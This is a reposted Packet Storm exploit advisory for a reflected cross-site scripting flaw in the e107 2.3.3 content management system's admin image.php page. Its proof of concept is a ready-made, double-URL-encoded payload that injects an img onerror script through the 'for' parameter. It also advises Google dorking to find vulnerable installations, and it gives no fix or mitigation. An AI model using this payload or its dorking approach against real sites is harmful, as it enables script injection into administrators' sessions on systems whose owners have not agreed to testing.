e107 2.3.3 Cross Site Scripting
2024-8-6 01:7:3 Author: packetstormsecurity.com(查看原文) 阅读量:1 收藏
e107 2.3.3 Cross Site Scripting
Posted Aug 5, 2024
Authored by indoushka

e107 version 2.3.3 suffers from a cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | 65270fcfbc4496558285477bf858c62cce40aea1dfc36c2063fca646faa64fa5
Download | Favorite | View
=============================================================================================================================================
| # Title     : e107 v2.3.3 XSS Vulnerability                                                                                               |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                            |
| # Vendor    : https://unlimited.dl.sourceforge.net/project/e107/e107/e107%20v2.3.3/e107_2.3.3_full.zip?viasf=1                            |
=============================================================================================================================================
poc :
[+] Dorking İn Google Or Other Search Enggine.
[+] Use Payload : /image.php?mode=main&action=dialog&for=_commonh5it1%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281986%2529%253edezaw&tagid=media-cat-image&iframe=1&w=206&image=1
[+] LOgin : http://127.0.0.1/233/e107_admin/
[+] http://127.0.0.1/233/e107_admin/image.php?mode=main&action=dialog&for=_commonh5it1%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281986%2529%253edezaw&tagid=media-cat-image&iframe=1&w=206&image=1
Greetings to :============================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |
==========================================================================

File Tags

Systems


文章来源: https://packetstormsecurity.com/files/179902/e107233-xss.txt
如有侵权请联系:admin#unsafe.sh